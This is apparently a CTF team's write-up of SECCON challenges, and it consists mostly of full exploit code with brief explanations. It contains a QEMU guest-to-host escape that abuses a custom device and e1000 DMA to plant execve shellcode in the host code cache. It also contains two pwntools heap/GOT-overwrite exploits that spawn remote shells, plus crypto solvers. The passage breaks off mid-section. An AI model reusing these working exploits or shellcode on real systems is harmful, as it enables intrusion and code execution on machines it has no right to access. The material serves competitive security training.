def worker(host, port, rem_c):
while True:
hexdigits = "0123456789abcdef"
xx = random.choice(hexdigits) + random.choice(hexdigits)
tmp = tempfile.mkdtemp()
try:
cpath = os.path.join(tmp, "rem.c")
binpath = os.path.join(tmp, "qwe")
with open(rem_c, "r") as f:
src = f.read()
src = src.replace(
"uint32_t old_size = 0x7f000;",
f"uint32_t old_size = 0x1{xx}000;"
)
with open(cpath, "w") as f:
f.write(src)
subprocess.check_call(["gcc", cpath, "-O2", "-o", binpath])
p = remote(host, port)
send_file(p, binpath, "/tmp/qwe")
p.sendlineafter(b"#", b"/tmp/qwe")
for _ in range(80):
g = p.recvuntil(b'}')
print(g)
if (b'{' in g or b'FLAG' in g):
with open("flags", "ab") as f:
f.write(g)
p.close()
finally:
shutil.rmtree(tmp)
if __name__ == "__main__":
host = sys.argv[1]
port = int(sys.argv[2])
rem_c = "rem.c"
processes = []
for _ in range(10):
p = multiprocessing.Process(target=worker, args=(host, port, rem_c))
p.start()
processes.append(p)
for p in processes:
p.join()
```
exploit itself
```c=
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
/* ---- swp MMIO ---- */
enum {
SWP_OFF_ADDRESS = 0x00,
SWP_OFF_SIZE = 0x08,
SWP_OFF_MODE = 0x0C,
SWP_OFF_KICK = 0x10,
};
#define SWP_KICK_MAGIC 0x005ECC02u
enum {
MODE_SWAPOUT = 0,
MODE_SWAPIN = 1,
};
/* ---- e1000 minimal regs/bits ---- */
#define E1000_STATUS 0x0008
#define E1000_MDIC 0x0020
#define E1000_MDIC_DATA_MASK 0x0000FFFFu
#define E1000_MDIC_REG_SHIFT 16
#define E1000_MDIC_PHY_SHIFT 21
#define E1000_MDIC_OP_WRITE 0x04000000u
#define E1000_MDIC_OP_READ 0x08000000u
#define E1000_MDIC_READY 0x10000000u
#define E1000_MDIC_ERROR 0x40000000u
#define MII_BMCR 0x00
#define MII_BMCR_LOOPBACK 0x4000u
#define E1000_RCTL 0x0100
#define E1000_RCTL_EN 0x00000002u
#define E1000_RCTL_UPE 0x00000008u
#define E1000_RDBAL 0x2800
#define E1000_RDBAH 0x2804
#define E1000_RDLEN 0x2808
#define E1000_RDH 0x2810
#define E1000_RDT 0x2818
#define E1000_TCTL 0x0400
#define E1000_TCTL_EN 0x00000002u
#define E1000_TCTL_PSP 0x00000008u
#define E1000_TCTL_CT_SHIFT 4
#define E1000_TCTL_COLD_SHIFT 12
#define E1000_TIPG 0x0410
#define E1000_TDBAL 0x3800
#define E1000_TDBAH 0x3804
#define E1000_TDLEN 0x3808
#define E1000_TDH 0x3810
#define E1000_TDT 0x3818
#define E1000_TXD_CMD_EOP 0x01000000u
#define E1000_TXD_CMD_IFCS 0x02000000u
#define E1000_TXD_CMD_RS 0x08000000u
struct __attribute__((packed)) e1000_tx_desc {
uint64_t buffer_addr;
uint32_t lower;
uint32_t upper;
};
struct __attribute__((packed)) e1000_rx_desc {
uint64_t buffer_addr;
uint16_t length;
uint16_t checksum;
uint8_t status;
uint8_t errors;
uint16_t special;
};
static void die(const char *what)
{
perror(what);
exit(1);
}
static inline uint32_t mmio_read32(volatile uint8_t *base, size_t off)
{
return *(volatile uint32_t *)(base + off);
}
static inline void mmio_write32(volatile uint8_t *base, size_t off, uint32_t v)
{
*(volatile uint32_t *)(base + off) = v;
}
static inline void mmio_write64(volatile uint8_t *base, size_t off, uint64_t v)
{
*(volatile uint64_t *)(base + off) = v;
}
static uint32_t read_sysfs_u32_hex(const char *path)
{
FILE *fp = fopen(path, "re");
if (!fp) {
die("fopen(sysfs)");
}
unsigned int v = 0;
if (fscanf(fp, "%x", &v) != 1) {
fclose(fp);
fprintf(stderr, "failed to parse %s\n", path);
exit(1);
}
fclose(fp);
return v;
}
static char *find_pci_bdf(uint16_t vendor, uint16_t device)
{
DIR *dir = opendir("/sys/bus/pci/devices");
if (!dir) {
die("opendir(/sys/bus/pci/devices)");
}
struct dirent *de;
while ((de = readdir(dir)) != NULL) {
if (de->d_name[0] == '.') {
continue;
}
char vendor_path[512];
char device_path[512];
snprintf(vendor_path, sizeof(vendor_path), "/sys/bus/pci/devices/%s/vendor", de->d_name);
snprintf(device_path, sizeof(device_path), "/sys/bus/pci/devices/%s/device", de->d_name);
uint32_t v = read_sysfs_u32_hex(vendor_path);
uint32_t d = read_sysfs_u32_hex(device_path);
if ((uint16_t)v == vendor && (uint16_t)d == device) {
closedir(dir);
return strdup(de->d_name);
}
}
closedir(dir);
return NULL;
}
static uint64_t parse_bar0_start(const char *bdf)
{
char path[256];
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/resource", bdf);
FILE *fp = fopen(path, "re");
if (!fp) {
die("fopen(resource)");
}
unsigned long long start = 0, end = 0, flags = 0;
if (fscanf(fp, "%llx %llx %llx", &start, &end, &flags) != 3) {
fclose(fp);
fprintf(stderr, "failed to parse %s\n", path);
exit(1);
}
fclose(fp);
(void)end;
(void)flags;
return (uint64_t)start;
}
static volatile uint8_t *map_pci_resource0(const char *bdf, size_t map_len)
{
char path[256];
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/resource0", bdf);
int fd = open(path, O_RDWR | O_SYNC);
if (fd < 0) {
die("open(resource0)");
}
void *p = mmap(NULL, map_len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
close(fd);
if (p == MAP_FAILED) {
die("mmap(resource0)");
}
return (volatile uint8_t *)p;
}
static void pci_enable_bus_master(const char *bdf)
{
char path[256];
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/config", bdf);
int fd = open(path, O_RDWR);
if (fd < 0) {
die("open(pci config)");
}
uint16_t cmd = 0;
if (pread(fd, &cmd, sizeof(cmd), 0x04) != sizeof(cmd)) {
die("pread(pci command)");
}
cmd |= (uint16_t)0x0006;
if (pwrite(fd, &cmd, sizeof(cmd), 0x04) != sizeof(cmd)) {
die("pwrite(pci command)");
}
close(fd);
}
static uint64_t virt_to_phys_page_aligned(void *page)
{
uintptr_t va = (uintptr_t)page;
if (va & 0xfff) {
fprintf(stderr, "virt_to_phys expects page-aligned pointer\n");
exit(1);
}
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
die("open(/proc/self/pagemap)");
}
uint64_t entry = 0;
off_t off = (off_t)((va >> 12) * 8);
if (pread(fd, &entry, sizeof(entry), off) != sizeof(entry)) {
die("pread(pagemap)");
}
close(fd);
if (((entry >> 63) & 1) == 0) {
fprintf(stderr, "page not present\n");
exit(1);
}
uint64_t pfn = entry & ((1ULL << 55) - 1);
return pfn << 12;
}
static uint16_t e1000_mdic_read_phy(volatile uint8_t *e1000, uint32_t phy, uint32_t reg)
{
uint32_t cmd = (reg << E1000_MDIC_REG_SHIFT) | (phy << E1000_MDIC_PHY_SHIFT) | E1000_MDIC_OP_READ;
mmio_write32(e1000, E1000_MDIC, cmd);
for (int i = 0; i < 10000; i++) {
uint32_t v = mmio_read32(e1000, E1000_MDIC);
if (v & E1000_MDIC_READY) {
if (v & E1000_MDIC_ERROR) {
fprintf(stderr, "MDIC read error (phy=%u reg=%u) mdic=0x%08x\n", phy, reg, v);
exit(1);
}
return (uint16_t)(v & E1000_MDIC_DATA_MASK);
}
usleep(10);
}
fprintf(stderr, "MDIC read timeout (phy=%u reg=%u)\n", phy, reg);
exit(1);
}
static void e1000_mdic_write_phy(volatile uint8_t *e1000, uint32_t phy, uint32_t reg, uint16_t data)
{
uint32_t cmd = (uint32_t)data | (reg << E1000_MDIC_REG_SHIFT) | (phy << E1000_MDIC_PHY_SHIFT) | E1000_MDIC_OP_WRITE;
mmio_write32(e1000, E1000_MDIC, cmd);
for (int i = 0; i < 10000; i++) {
uint32_t v = mmio_read32(e1000, E1000_MDIC);
if (v & E1000_MDIC_READY) {
if (v & E1000_MDIC_ERROR) {
fprintf(stderr, "MDIC write error (phy=%u reg=%u) mdic=0x%08x\n", phy, reg, v);
exit(1);
}
return;
}
usleep(10);
}
fprintf(stderr, "MDIC write timeout (phy=%u reg=%u)\n", phy, reg);
exit(1);
}
static void build_execve_shellcode(uint8_t page[0x1000])
{
memset(page, 0x0f, 0x1000);
/*
* x86-64 Linux, position-independent:
* execve("/bin/sh", ["/bin/sh","-c","cat /flag-*"], NULL)
*
* Keep it tiny; we overwrite the TCG prologue page and want quick execution.
*/
static const uint8_t sc[] = {
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,
0x48,0x31,0xd2,0x52,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,
0x73,0x68,0x53,0x48,0x89,0xe7,0x52,0x48,0xbb,0x63,0x61,0x74,
0x20,0x2f,0x66,0x2a,0x00,0x53,0x48,0x89,0xe6,0x52,0x48,0xc7,
0xc3,0x2d,0x63,0x00,0x00,0x53,0x48,0x89,0xe1,0x52,0x56,0x51,
0x57,0x48,0x89,0xe6,0x48,0x31,0xd2,0x48,0xc7,0xc0,0x3b,0x00,
0x00,0x00,0x0f,0x05,
0x0f,0x0b,0x0f,0x0b,0x0f,0x0b,0x0f,0x0b
};
memcpy(page, sc, sizeof(sc));
/*
* Patch RIP-relative displacements.
* Layout:
* sc[0..] contains code then strings immediately after.
* We patched with placeholder 0x2a (42) bytes; fix precisely.
*/
// uint8_t tmp[sizeof(sc)];
// memcpy(tmp, sc, sizeof(sc));
// size_t off_binsh = 0;
// size_t off_dashc = 0;
// size_t off_cmd = 0;
// /* Find strings by searching known sequences in tmp */
// for (size_t i = 0; i + 8 <= sizeof(tmp); i++) {
// if (memcmp(&tmp[i], "/bin/sh\0", 8) == 0) {
// off_binsh = i;
// break;
// }
// }
// for (size_t i = 0; i + 3 <= sizeof(tmp); i++) {
// if (memcmp(&tmp[i], "-c\0", 3) == 0) {
// off_dashc = i;
// break;
// }
// }
// for (size_t i = 0; i + 12 <= sizeof(tmp); i++) {
// if (memcmp(&tmp[i], "cat /flag-*\0", 12) == 0) {
// off_cmd = i;
// break;
// }
// }
// if (!off_binsh || !off_dashc || !off_cmd) {
// fprintf(stderr, "internal shellcode layout bug\n");
// exit(1);
// }
// /* lea rdi: next RIP is at instruction end (offset 7). */
// int32_t disp_binsh = (int32_t)(off_binsh - 7);
// memcpy(&tmp[3], &disp_binsh, 4);
// /* lea rbx at offset 7: instruction starts at 7, length 7, next RIP at 14. */
// int32_t disp_dashc = (int32_t)(off_dashc - 14);
// memcpy(&tmp[10], &disp_dashc, 4);
// /* lea rcx at offset 14: next RIP at 21. */
// int32_t disp_cmd = (int32_t)(off_cmd - 21 - 3);
// memcpy(&tmp[17], &disp_cmd, 4);
}
static void usage(const char *argv0)
{
fprintf(stderr,
"usage: %s [--probe] [--old-size SIZE] [--groom N] [--groom-big SIZE] [--rx-wait-ms MS] [--pause-ms MS]\n"
"\n"
" --probe Do not kick; only test when swp.size changes after E1000_TDT.\n"
" --old-size SIZE Target old swp.size (page-aligned). Default: 0x001ff000.\n"
" --groom N Number of VMA-groom iterations (default: 1024).\n"
" --groom-big SIZE Groom allocation size (page-aligned, must be > old-size).\n"
" --rx-wait-ms MS Delay after enabling RX (default: 1100).\n"
" --pause-ms MS Sleep after grooming (debug; default: 0).\n",
argv0);
exit(1);
}
int main(int argc, char **argv)
{
int groom_iters = 4000;
bool probe = false;
uint32_t old_size = 0x7f000;
uint32_t groom_big; /* default for old_size=0x1ff000 */
bool groom_big_set = false;
uint32_t rx_wait_ms = 1100;
uint32_t pause_ms = 0;
uint32_t new_size = old_size + 0x1000u;
groom_big = new_size;
char *bdf_swp = find_pci_bdf(0x1234, 0x1337);
char *bdf_e1000 = find_pci_bdf(0x8086, 0x100e);
void *tx_ring_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
void *rx_ring_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
void *pkt0_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
void *pkt1_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (tx_ring_page == MAP_FAILED || rx_ring_page == MAP_FAILED || pkt0_page == MAP_FAILED || pkt1_page == MAP_FAILED) {
die("mmap(rings/pkts)");
}
if (!bdf_swp || !bdf_e1000) {
fprintf(stderr, "failed to locate swp/e1000\n");
return 1;
}
uint64_t swp_bar_pa = parse_bar0_start(bdf_swp);
uint64_t e1000_bar_pa = parse_bar0_start(bdf_e1000);
fprintf(stderr, "[+] swp BAR0=0x%016" PRIx64 " e1000 BAR0=0x%016" PRIx64 "\n", swp_bar_pa, e1000_bar_pa);
pci_enable_bus_master(bdf_swp);
pci_enable_bus_master(bdf_e1000);
volatile uint8_t *swp = map_pci_resource0(bdf_swp, 0x20);
volatile uint8_t *e1000 = map_pci_resource0(bdf_e1000, 0x20000);
const uint32_t groom_big_alt = groom_big+0x1000;
mmio_write32(swp, SWP_OFF_SIZE, groom_big);
for (int i = 0; i < groom_iters; i++) {
mmio_write32(swp, SWP_OFF_SIZE, groom_big_alt);
mmio_write32(swp, SWP_OFF_SIZE, groom_big);
}
/* Allocate shellcode page (guest RAM) and get its physical address. */
uint8_t *shell_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (shell_page == MAP_FAILED) {
die("mmap(shell_page)");
}
build_execve_shellcode(shell_page);
uint64_t shell_pa = virt_to_phys_page_aligned(shell_page);
for(int j=0;j<100;j++){
old_size -= 0x3000;
new_size = old_size+0x1000;
uint64_t new_addr = shell_pa - (uint64_t)old_size;
fprintf(stderr, "[+] shell_pa=0x%016" PRIx64 " new_addr=0x%016" PRIx64 "\n", shell_pa, new_addr);
/*
* --- e1000 rings ---
*
* probe mode:
* - 1 TX frame
* - RX buffer points to swp.size (BAR+0x08)
* - verifies whether swp.size changes immediately after TDT (synchronous RX)
*
* exploit mode:
* - 2 TX frames
* - RX desc0 writes into swp BAR base (sets swp.address + swp.size)
* - RX desc1 writes into swp BAR+0x0c (sets swp.mode=swapout)
*/
uint64_t tx_ring_pa = virt_to_phys_page_aligned(tx_ring_page);
uint64_t rx_ring_pa = virt_to_phys_page_aligned(rx_ring_page);
uint64_t pkt0_pa = virt_to_phys_page_aligned(pkt0_page);
uint64_t pkt1_pa = virt_to_phys_page_aligned(pkt1_page);
struct e1000_tx_desc *tx_ring = (struct e1000_tx_desc *)tx_ring_page;
struct e1000_rx_desc *rx_ring = (struct e1000_rx_desc *)rx_ring_page;
memset(tx_ring, 0, 0x1000);
memset(rx_ring, 0, 0x1000);
const uint32_t pkt_len = 60;
tx_ring[0].buffer_addr = htole64(pkt0_pa);
tx_ring[0].lower = htole32(pkt_len | E1000_TXD_CMD_EOP | E1000_TXD_CMD_IFCS | E1000_TXD_CMD_RS);
tx_ring[1].buffer_addr = htole64(pkt1_pa);
tx_ring[1].lower = htole32(pkt_len | E1000_TXD_CMD_EOP | E1000_TXD_CMD_IFCS | E1000_TXD_CMD_RS);
uint8_t *pkt0 = (uint8_t *)pkt0_page;
uint8_t *pkt1 = (uint8_t *)pkt1_page;
memset(pkt0, 0, 0x1000);
memset(pkt1, 0, 0x1000);
/*
* Exploit payloads:
* - frame0 written to BAR+0x00 sets swp.address and swp.size.
* - frame1 written to BAR+0x0c sets swp.mode=0 (swapout).
*/
rx_ring[0].buffer_addr = htole64(swp_bar_pa + 0x00);
rx_ring[1].buffer_addr = htole64(swp_bar_pa + 0x0c);
memcpy(pkt0 + 0, &new_addr, sizeof(new_addr));
uint64_t ns64 = new_size;
memcpy(pkt0 + 8, &ns64, sizeof(ns64));
pkt0[16] = 0x42; /* avoid accidental kick */
/* pkt1 first 8 bytes are 0 -> swp.mode write sees val=0 */
pkt1[16] = 0x42;
/* Enable PHY loopback. */
uint16_t bmcr = e1000_mdic_read_phy(e1000, 1, MII_BMCR);
e1000_mdic_write_phy(e1000, 1, MII_BMCR, (uint16_t)(bmcr | MII_BMCR_LOOPBACK));
/* RX ring. */
mmio_write32(e1000, E1000_RDBAL, (uint32_t)(rx_ring_pa & 0xffffffffu));
mmio_write32(e1000, E1000_RDBAH, (uint32_t)(rx_ring_pa >> 32));
mmio_write32(e1000, E1000_RDLEN, 0x80);
mmio_write32(e1000, E1000_RDH, 0);
mmio_write32(e1000, E1000_RDT, 15);
/* TX ring. */
mmio_write32(e1000, E1000_TDBAL, (uint32_t)(tx_ring_pa & 0xffffffffu));
mmio_write32(e1000, E1000_TDBAH, (uint32_t)(tx_ring_pa >> 32));
mmio_write32(e1000, E1000_TDLEN, 0x80);
mmio_write32(e1000, E1000_TDH, 0);
mmio_write32(e1000, E1000_TDT, 0);
uint32_t tctl = E1000_TCTL_EN | E1000_TCTL_PSP | (0x10u << E1000_TCTL_CT_SHIFT) | (0x40u << E1000_TCTL_COLD_SHIFT);
mmio_write32(e1000, E1000_TCTL, tctl);
mmio_write32(e1000, E1000_TIPG, 0x0060200Au);
/* Enable RX and accept all unicast (our pkt0 dest is arbitrary). */
mmio_write32(e1000, E1000_RCTL, E1000_RCTL_EN | E1000_RCTL_UPE);
usleep((useconds_t)rx_wait_ms * 1000u);
/* Final attempt to allocate the 0x1ff000 mapping that we want as storage_base. */
mmio_write32(swp, SWP_OFF_SIZE, old_size);
uint32_t final_size = mmio_read32(swp, SWP_OFF_SIZE);
fprintf(stderr, "[+] swp: grooming done (iters=%d big=0x%08x) final_size=0x%08x\n",
groom_iters, groom_big, final_size);
/*
* --- Exploit path ---
*
* 1) Fill swp storage page0 with a "register page" for e1000 BAR+0x3000 that writes TDT=2
* (two frames) when swapin writes it into e1000-mmio.
*/
void *reg_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (reg_page == MAP_FAILED) {
die("mmap(reg_page)");
}
memset(reg_page, 0, 0x1000);
*(uint32_t *)((uint8_t *)reg_page + (E1000_TDBAL - 0x3000)) = (uint32_t)(tx_ring_pa & 0xffffffffu);
*(uint32_t *)((uint8_t *)reg_page + (E1000_TDBAH - 0x3000)) = (uint32_t)(tx_ring_pa >> 32);
*(uint32_t *)((uint8_t *)reg_page + (E1000_TDLEN - 0x3000)) = 0x80;
*(uint32_t *)((uint8_t *)reg_page + (E1000_TDH - 0x3000)) = 0;
*(uint32_t *)((uint8_t *)reg_page + (E1000_TDT - 0x3000)) = 2;
uint64_t reg_page_pa = virt_to_phys_page_aligned(reg_page);
mmio_write64(swp, SWP_OFF_ADDRESS, reg_page_pa);
mmio_write32(swp, SWP_OFF_MODE, MODE_SWAPOUT);
mmio_write32(swp, SWP_OFF_KICK, SWP_KICK_MAGIC);
/*
* 2) Attack kick: swapin into e1000 BAR+0x3000 triggers TX->RX.
* The RX payloads DMA into swp BAR and update:
* - swp.address = shell_pa - old_size
* - swp.size = old_size + 0x1000
* - swp.mode = swapout
*
* That should make the outer kick run one extra iteration and write our shellcode
* page into the host RWX code cache base.
*/
mmio_write64(swp, SWP_OFF_ADDRESS, e1000_bar_pa + 0x3000);
mmio_write32(swp, SWP_OFF_MODE, MODE_SWAPIN);
fprintf(stderr, "[+] swp: starting attack kick (expect host flag)\n");
mmio_write32(swp, SWP_OFF_KICK, SWP_KICK_MAGIC);
fprintf(stderr, "[!] returned; swp.size=0x%08x swp.mode=0x%08x (expected size=0x%08x)\n",
(unsigned)mmio_read32(swp, SWP_OFF_SIZE),
(unsigned)mmio_read32(swp, SWP_OFF_MODE),
new_size);
}
return 0;
}
```
### gachiarray
If the malloc is failed, we can access to any address in ELF area.
So, we overwrote GOTs and got a shell
```python=
from pwn import *
e = ELF('chal')
libc = e.libc
# p = e.process()
p = remote('gachiarray.seccon.games', 5000)
go = lambda a,b,c:p.send(p32(a & 0xFF_FF_FF_FF) + p32(b & 0xFF_FF_FF_FF) + p32(c & 0xFF_FF_FF_FF))
GET = 1
SET = 2
RES = 3
go(-1, 0, 0)
go(RES, -1, 0)
go(GET, e.got['setbuf'] // 4, 0)
p.recvuntil(b'] = ')
lsd = int(p.recvline()) & 0xFF_FF_FF_FF
go(GET, e.got['setbuf'] // 4 + 1, 0)
p.recvuntil(b'] = ')
msd = int(p.recvline()) & 0xFF_FF_FF_FF
setbuf = (msd << 32) | lsd
print(hex(setbuf))
libc.address = setbuf - libc.symbols['setbuf']
print(hex(libc.address))
go(SET, e.bss() // 4 + 0x100, u32(b'$0\0\0'))
go(SET, e.got['malloc'] // 4, libc.symbols['system'])
go(SET, e.got['malloc'] // 4 + 1, libc.symbols['system'] >> 32)
go(SET, e.got['exit'] // 4, e.symbols['main'])
go(SET, e.got['exit'] // 4 + 1, e.symbols['main'] >> 32)
go(0, 0, 0)
go(e.bss() // 4 + 0x100, 0, 0)
p.interactive()
```
### CursedST
std::stack uses uninitialized address and sets the init pointer in the middle of its heap chunk.
So we can make its heap chunk uses dirty chunk and pop it for AAW.
And we overwrote some GOTs and got a shell
```python=
from pwn import *
e = ELF('./chal')
libc = e.libc
# p = e.process()
p = remote('st.seccon.games', 5000)
spush = lambda x: (p.sendline(b'1'), p.sendline(str(x).encode()))
spop = lambda: p.sendline(b'2')
tpush = lambda x: (p.sendline(b'3'), p.sendline(str(x).encode()))
tpop = lambda: p.sendline(b'4')
p.sendlineafter(b'name?\n', b'sgsgsgsg')
p.recvline()
N = 8
for i in range(64 * N):
tpush(e.symbols['T'] + 0x30)
for i in range(64 * N):
tpop()
for i in range(64 * N):
spush(i)
for i in range(64 * N):
spop()
for i in range(64):
spop()
ret = 0x401360
spush(e.got['_ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE'])
tpush(ret)
spop()
spush(e.symbols['_Z4nameB5cxx11'])
tpush(e.got['__libc_start_main'])
spop()
spush(e.got['_ZdlPvm'])
tpush(e.symbols['main'])
spop()
spush(0)
spush(0)
tpop()
spop()
spop()
p.recvuntil(b', ')
__libc_start_main = u64(p.recv(8))
base = libc.address = __libc_start_main - libc.symbols['__libc_start_main']
print(hex(__libc_start_main))
print(hex(base))
spush(e.got['_ZdlPvm'])
tpush(libc.symbols['system'])
spop()
spush(next(libc.search(b'/bin/sh')))
spush(next(libc.search(b'/bin/sh')))
tpop()
p.interactive()
```
---
## CRYPTO
### Yukari
```python
import argparse
from math import gcd
from Crypto.PublicKey import RSA
from Crypto.Util.number import getPrime, isPrime
from pwn import remote
def verify_bad_key(p: int, q: int, samples: int = 3) -> bool:
"""Return True if RSA.construct fails consistently for this (p, q)."""
phi = (p - 1) * (q - 1)
n = p * q
for _ in range(samples):
e = getPrime(64)
if gcd(e, phi) != 1:
continue
d = pow(e, -1, phi)
try:
RSA.construct((n, e, d))
return False
except ValueError as err:
if "Invalid RSA component u" not in str(err):
return False
return True
def find_bad_q(p: int, samples: int = 3) -> int:
"""Search for q such that RSA.construct trips over an invalid CRT coefficient."""
m = 4
while True:
q = p * m + 1
if isPrime(q) and verify_bad_key(p, q, samples):
return q
m += 4
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="yukari.seccon.games")
parser.add_argument("--port", type=int, default=15809)
parser.add_argument("--samples", type=int, default=3)
args = parser.parse_args()
io = remote(args.host, args.port)
try:
for _ in range(32):
chunk = io.recvuntil(b"q: ")
line = chunk.decode().strip().splitlines()[0]
p = int(line.split("=", 1)[1].strip())
q = find_bad_q(p, args.samples)
io.sendline(str(q).encode())
resp = io.recvline()
if b"error!" not in resp:
print(resp.decode().strip())
break
else:
flag = io.recvline().decode().strip()
print(flag)
return
while True:
line = io.recvline(timeout=1)
if not line:
break
print(line.decode().strip())
finally:
io.close()
if __name__ == "__main__":
main()
Skjul
solve.py3 KB
```
### Last Flight
I played with Gemini Pro3 and it gave me an exploit working.
```py
from sage.all import *
from sage.libs.pari.all import pari
import time
import sys
import random
# 재귀 제한 해제
sys.setrecursionlimit(5000)
# =========================================================
# 파라미터 및 상수
# =========================================================
p = 4718527636420634963510517639104032245020751875124852984607896548322460032828353
vulcan = 4491053584681777230004921432233140592597539170014127209575411842495341326963276 #1032815199613294836441991697670860208381926032505307265487335268245684306208285
bell = 2432038507299873422947378256916580720285894903782869800072412407408607809024120 #3965663478015689727788420704543487542053494366008556974663035443614150956655855
C1488 = 1488
C162000 = 162000
C40773375 = 40773375
C8748000000 = 8748000000
CHUGE = 157464000000000
PHI_CACHE = {}
def get_neighbors_fast(j):
""" PARI/GP를 이용한 고속 이웃 탐색 """
j = int(j)
if j in PHI_CACHE: return PHI_CACHE[j]
X = j % p
X2 = (X * X) % p
X3 = (X2 * X) % p
a2 = (-X2 + C1488*X - C162000) % p
a1 = (C1488*X2 + C40773375*X + C8748000000) % p
a0 = (X3 - C162000*X2 + C8748000000*X - CHUGE) % p
try:
roots = pari([a0, a1, a2, 1]).Polrev().polrootsmod(p)
ns = [int(r) for r in roots]
except:
ns = []
PHI_CACHE[j] = ns
return ns
def measure_dist_to_floor(node, parent, limit=300):
"""
[핵심 수정]
단순 Greedy Walk로 바닥까지의 거리를 잽니다.
- 화산 구조상, 아래로 가는 길은 무조건 같은 깊이의 바닥으로 수렴합니다.
- 따라서 갈래길을 다 가볼 필요 없이, 아무거나 하나 잡고 쭉 내려가면 깊이가 나옵니다.
- limit(300)을 넘어가면 '바닥이 아주 멀다' = '위쪽(Crater) 방향'으로 판단합니다.
"""
curr = node
prev = parent
depth = 0
while depth < limit:
neighbors = get_neighbors_fast(curr)
# 진행 가능한 경로 (왔던 길 제외)
next_steps = [n for n in neighbors if n != prev]
# 바닥 도착 (더 이상 갈 곳 없음)
if not next_steps:
return depth
# Greedy: 그냥 첫 번째 길로 계속 내려감 (어차피 깊이는 같음)
prev = curr
curr = next_steps[0]
depth += 1
return limit # 바닥을 못 만남 (아주 깊거나 위쪽임)
def climb_volcano(start_node, label="Node"):
path = [start_node]
curr = start_node
prev = None
# 문제의 Depth가 160이므로, 이를 확실히 넘어서는 값으로 설정
PROBE_LIMIT = 250
print(f"[*] Climbing {label} (Probe Limit: {PROBE_LIMIT})...", flush=True)
for step in range(PROBE_LIMIT + 50): # 충분히 많이 반복
neighbors = get_neighbors_fast(curr)
candidates = [n for n in neighbors if n != prev]
if not candidates:
# 시작부터 바닥인 경우 등
break
best_nxt = None
max_floor_dist = -1
# 후보지 중 "바닥까지 거리가 더 먼 쪽"이 위쪽(Up)입니다.
# 아래쪽 길은 가다보면 금방 바닥(depth < 250)이 나옵니다.
# 위쪽 길은 Crater로 이어지므로 바닥이 안나옵니다(depth >= 250).
if len(candidates) == 1:
best_nxt = candidates[0]
else:
for cand in candidates:
dist = measure_dist_to_floor(cand, curr, limit=PROBE_LIMIT)
if dist > max_floor_dist:
max_floor_dist = dist
best_nxt = cand
prev = curr
curr = best_nxt
path.append(curr)
# Crater 감지:
# 위로 계속 가면 결국 Crater(Cycle)에 진입하거나,
# 두 경로가 만나게 됩니다.
# 여기서 멈추지 않고 적당히 길게 뽑은 뒤 intersection으로 해결합니다.
return path
def solve():
t0 = time.time()
# 1. 각각 등반
path_v = climb_volcano(vulcan, "Vulcan")
path_b = climb_volcano(bell, "Bell")
# 2. 교차점(LCA) 찾기
set_v = {node: i for i, node in enumerate(path_v)}
meet_node = None
idx_b = -1
# Bell 경로를 따라가다 Vulcan 경로와 겹치는지 확인
for i, node in enumerate(path_b):
if node in set_v:
meet_node = node
idx_b = i
print(f"[+] Intersection found at step {i}!")
break
if meet_node is None:
print("[FAIL] No intersection found. Volcano structure might be disjoint or path too short.")
# 디버깅용: 경로 끝부분 출력
print(f" Vulcan End: {path_v[-1]}")
print(f" Bell End: {path_b[-1]}")
return
# 3. 경로 병합
# Vulcan -> ... -> Meet
# Bell -> ... -> Meet (이걸 뒤집어서 Meet -> ... -> Bell)
path_v_part = path_v[:set_v[meet_node] + 1]
path_b_part = path_b[:idx_b] # Meet node 제외 (중복 방지)
final_path_j = path_v_part + list(reversed(path_b_part))
print(f"[*] Total path length: {len(final_path_j)}")
print("[*] Recovering indices (slow but steady)...")
# 4. 인덱스 복구
Fp = GF(p)
idxs = []
# 커브 초기화
try:
E = EllipticCurve(Fp, j=Fp(final_path_j[0]))
except:
print("[!] Curve init failed")
return
for k in range(len(final_path_j) - 1):
target = int(final_path_j[k+1])
isos = E.isogenies_prime_degree(2)
found = False
for i, iso in enumerate(isos):
if int(iso.codomain().j_invariant()) == target:
idxs.append(i)
E = iso.codomain()
found = True
break
if not found:
print(f"[!] Path broken at index {k}")
return
dt = time.time() - t0
print(f"\n[+] DONE in {dt:.2f}s")
print(", ".join(map(str, idxs)))
if __name__ == "__main__":
solve()
```
### Nostalgic
Disclaimer: I’m not good at math, expect blatantly incorrect claims
The challenge randomly generates the following values:
- 32-byte key K and 12-byte nonce N (for ChaCha20Poly1305)
- 16-byte target F
- 16-byte plaintext M
